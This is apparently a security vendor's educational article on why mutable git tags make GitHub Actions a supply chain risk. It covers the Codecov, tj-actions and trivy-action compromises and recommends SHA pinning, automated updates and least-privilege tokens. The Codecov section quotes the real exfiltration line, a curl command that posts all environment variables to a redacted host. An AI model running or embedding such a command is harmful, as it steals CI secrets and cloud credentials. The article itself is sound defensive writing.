Securing the agentic AI software supply chain
← Academy
Defense Jul 13, 2026 · 9 min

SHA pinning in GitHub Actions: why tags are a supply chain risk and how to fix it

Git tags are mutable. An attacker who compromises a GitHub Action can force-push every release tag to point at malicious code, and every workflow that references those tags will silently run it. SHA pinning replaces mutable tags with immutable commit hashes. Three major incidents between 2021 and 2026 prove this is not theoretical.

Every GitHub Actions workflow references actions by name and version. Most use a tag: actions/checkout@v4. That tag is a git ref. It points to a commit. The problem is that git tags are mutable. The owner of a repository (or anyone who compromises a maintainer account) can force-push a tag to point at a different commit. When that happens, every workflow that references the tag silently runs the new code on its next trigger.

Three major supply chain attacks in five years exploited this exact mechanism. Each time, the recommendation from incident responders was the same: pin your actions to full commit SHAs.

Why tags are dangerous

When you write uses: actions/checkout@v4, GitHub resolves v4 to whatever commit that tag points to right now. If the tag is moved to a different commit tomorrow, your workflow runs that different commit. There is no warning, no diff, no approval step.

Tag manipulation is a normal git operation. It does not require GitHub admin access beyond push permission to the repository. On free-tier GitHub accounts, tag force-pushes are not recorded in audit logs. The tag still shows the same name, the same version number. Nothing in the workflow file changes.

Most developers do not think about version tags this way. In npm, a published version is immutable. You cannot republish lodash@4.17.21 with different code. In git, you can move v4.17.21 to any commit you want, as many times as you want.

A commit SHA, by contrast, is a cryptographic hash of the commit content. It cannot be faked or moved. actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 will always resolve to that exact commit, regardless of what happens to any tag.

Three incidents, one mechanism

DateActionMechanismImpact
Jan-Apr 2021Codecov Bash UploaderHMAC key leaked from Docker image, script modified in cloud storageCI secrets exfiltrated across GitHub Actions, CircleCI, Bitrise
Mar 14-15, 2025tj-actions/changed-filesCascading PAT theft via SpotBugs and reviewdog, all tags force-pushed23,000+ repos exposed, CISA KEV catalog (CVE-2025-30066)
Mar 2026aquasecurity/trivy-action76 of 77 release tags force-pushed to malicious commitSecurity scanner itself became the attack vector

Codecov (2021)

The Codecov Bash Uploader was a shell script hosted in Google Cloud Storage and used by the Codecov GitHub Action, the CircleCI Orb, and the Bitrise Step. An attacker extracted an HMAC key from an intermediate layer of Codecov’s public Docker image and used it to modify the script in storage.

The compromised script appended one line:

curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" \
  https://REDACTED/upload/v2 || true

Every environment variable on the CI runner was exfiltrated: cloud credentials, npm tokens, signing keys, database passwords. The modification happened 108 times between January 31 and April 1, 2021 before it was discovered. This was not a git tag attack specifically, but it established the pattern: compromise a widely-used CI component, and you inherit the secrets of every project that uses it.

tj-actions/changed-files and reviewdog (March 2025)

This was a cascading compromise across three separate GitHub organizations. Unit 42 traced the full kill chain:

  1. On December 6, 2024, an attacker submitted a poisoned pull request to SpotBugs that leaked a maintainer’s Personal Access Token (PAT).
  2. On March 11, 2025, the attacker used the stolen PAT to compromise reviewdog/action-setup@v1 (CVE-2025-30154). The malicious code was active from 18:42 to 20:31 UTC.
  3. The reviewdog compromise leaked the tj-actions-bot PAT. The attacker used it to force-push every tag on tj-actions/changed-files (versions 1 through 45.0.7) to malicious commit 0e58ed8671d6b60d0890c21b07f8835ace038e67.

The payload read CI runner memory via /proc/[pid]/mem and dumped every secret to the workflow log. Over 23,000 dependent repositories were exposed.

CISA added CVE-2025-30066 to its Known Exploited Vulnerabilities catalog on March 18, 2025, with a CVSS score of 8.6 and a remediation deadline of April 8.

Even if you had pinned tj-actions/changed-files to a SHA, the reviewdog compromise happened upstream. The reviewdog downstream actions (action-shellcheck, action-staticcheck, action-ast-grep, action-typos) all internally referenced action-setup@v1 via a mutable tag. Pinning your own workflow did not protect you from a mutable reference inside the action you called.

trivy-action (March 2026)

One year after the tj-actions incident, the same mechanism was used against aquasecurity/trivy-action. An attacker force-pushed 76 of 77 release tags (versions 0.0.1 through 0.34.2) to point at malicious commit e0198fd2b6e1679e36d32933941182d9afa82f6f. Only tag 0.35.0 was unaffected.

CrowdStrike’s analysis confirmed the technique was identical: git tags are mutable and can be silently repointed to a different commit. A security scanning tool, the kind of action you add specifically to improve your security posture, became the attack vector.

How SHA pinning works

Instead of referencing a mutable tag:

# Dangerous: tag can be moved to any commit
- uses: actions/checkout@v4

You reference the full 40-character commit SHA:

# Safe: SHA is immutable
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.7

The trailing comment (# v4.1.7) is not decorative. It tells you (and your update tooling) which version this SHA corresponds to. Without it, a bare SHA is unreadable and harder to maintain.

Tag reference SHA reference uses: action/tool@v2 Resolves tag → commit abc123 Attacker force-pushes tag Tag → malicious commit def456 Workflow silently runs def456 uses: action/tool@abc123...f Resolves SHA → commit abc123 Tag is force-pushed, but SHA still resolves to abc123 Workflow runs original code Aephix
A tag-based reference follows the tag wherever it points. A SHA-pinned reference ignores tag changes entirely.

Keeping pinned SHAs current

The main objection to SHA pinning is maintenance. Tags like v4 are easy to read and auto-update. A 40-character hex string is neither. Two tools solve this.

Renovate

Renovate has a preset that pins GitHub Actions SHAs and keeps them updated automatically:

{
  "extends": ["helpers:pinGitHubActionDigests"]
}

When this preset runs, it converts tag references to SHA-pinned references with a trailing version comment:

- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.7

Renovate tracks the tag in the trailing comment. When actions/checkout publishes v4.1.8, Renovate looks up the new tag’s commit SHA, updates the SHA in your workflow file, and updates the comment. You review the PR and merge. The SHA is always current, and you never touch a bare tag.

One detail: Renovate disables updates for bare SHAs without a version comment by default, because it cannot determine which tag to track. The trailing comment is not optional.

Dependabot

GitHub’s built-in Dependabot also supports SHA-pinned action updates. Add a dependabot.yml to .github/:

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Dependabot opens PRs when new action versions are available, updating both the SHA and the version comment.

Enforcement at the org level

Individual discipline is not enough. One workflow file with a tag reference undoes the protection for that repository. GitHub addressed this in August 2025 with native policy enforcement.

Administrators can now enforce that all workflows reference actions by full commit SHA. Workflows using tag or branch references fail validation and do not run. The policy applies at the organization level, so a single setting covers every repository.

The same policy supports explicit blocking. Prefixing an allow-list entry with ! blocks that action or version, with the blocklist evaluated last to override permissive rules:

space-org/*
!space-org/action@*

This allows all actions from space-org except space-org/action. Combined with SHA pinning enforcement, this gives administrators two controls: what actions are permitted, and how they must be referenced.

Limits of SHA pinning

SHA pinning is necessary but not sufficient. The tj-actions incident demonstrated why.

Transitive mutable references. You pin reviewdog/action-shellcheck to a SHA. That action internally calls reviewdog/action-setup@v1 using a mutable tag. When action-setup@v1 is compromised, your pinned SHA still runs the compromised code because the mutable reference is inside the action, not in your workflow file. Your pinning only controls the first hop.

Fork object graph sharing. GitHub repositories share their git object store with forks. In theory, a malicious fork could inject objects reachable by SHA in the parent repository’s object namespace. This is an architectural property of how GitHub stores git data, and SHA pinning alone does not address it.

The update window. Between when a compromised version is published and when your update tooling bumps the SHA, you are exposed. Renovate and Dependabot run on schedules (typically daily or weekly), not in real time.

These limits do not reduce the value of SHA pinning. They define the boundary where additional controls are needed.

Beyond pinning

Minimal GITHUB_TOKEN permissions

By default, GITHUB_TOKEN has broad permissions. Restrict it at the workflow level:

permissions:
  contents: read

Declare only what each job needs. A workflow that only reads code should not have write access to packages, issues, or deployments. If a compromised action runs in your workflow, the blast radius is limited to what the token can do.

OIDC for cloud authentication

Instead of storing long-lived cloud credentials (AWS keys, GCP service account JSON, Azure client secrets) as GitHub secrets, configure your cloud provider to accept short-lived OIDC tokens from GitHub Actions. The token is scoped to a single workflow run and expires automatically. There is nothing to steal and nothing to rotate.

Allow-listing actions

In your organization settings, restrict which actions are permitted. The options range from “allow all” to “allow only local actions” to an explicit allow-list of specific actions and versions. Combine this with SHA pinning enforcement to ensure that only approved actions, referenced by immutable SHAs, can run.

What to do now

Pin every action to a full commit SHA. Start with your most sensitive workflows (publishing, deployment, anything with cloud credentials). Use Renovate’s helpers:pinGitHubActionDigests or Dependabot’s github-actions ecosystem to automate updates. Always include a trailing version comment.

Enable SHA pinning enforcement. If your organization is on GitHub Enterprise or a plan that supports Actions policies, require SHA references at the org level. Workflows with tag references will fail before they run.

Audit transitive references. SHA pinning your workflow file is not enough if the actions you call internally reference other actions by mutable tag. Read the action.yml of your critical dependencies. If an action calls another action by tag, that is a risk you inherit.

Restrict GITHUB_TOKEN permissions. Set the minimum permissions at the workflow level. Do not rely on the repository default.

Rotate secrets after any incident. If you used tj-actions/changed-files or aquasecurity/trivy-action during the compromise windows, treat every secret accessible to those workflows as leaked. Rotate cloud credentials, registry tokens, and signing keys.

Where Aephix fits

SHA pinning protects you from a compromised action’s code running in your pipeline. It does not tell you whether the action was compromised, who compromised it, or what other actions the same adversary controls. When CrowdStrike analyzed the trivy-action compromise, their conclusion was to “treat any code that runs in your pipeline as code that runs in your infrastructure.” The open question is which code to distrust.

Aephix Sleuth links a flagged artifact to the wider operation behind it, with a confidence level and supporting evidence, across packages, models, skills, MCP servers, extensions, and containers. When you discover a compromised GitHub Action, Aephix tells you whether the same adversary has published other artifacts in your dependency graph. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a component with a hostile history is something you recognize before it reaches your pipeline.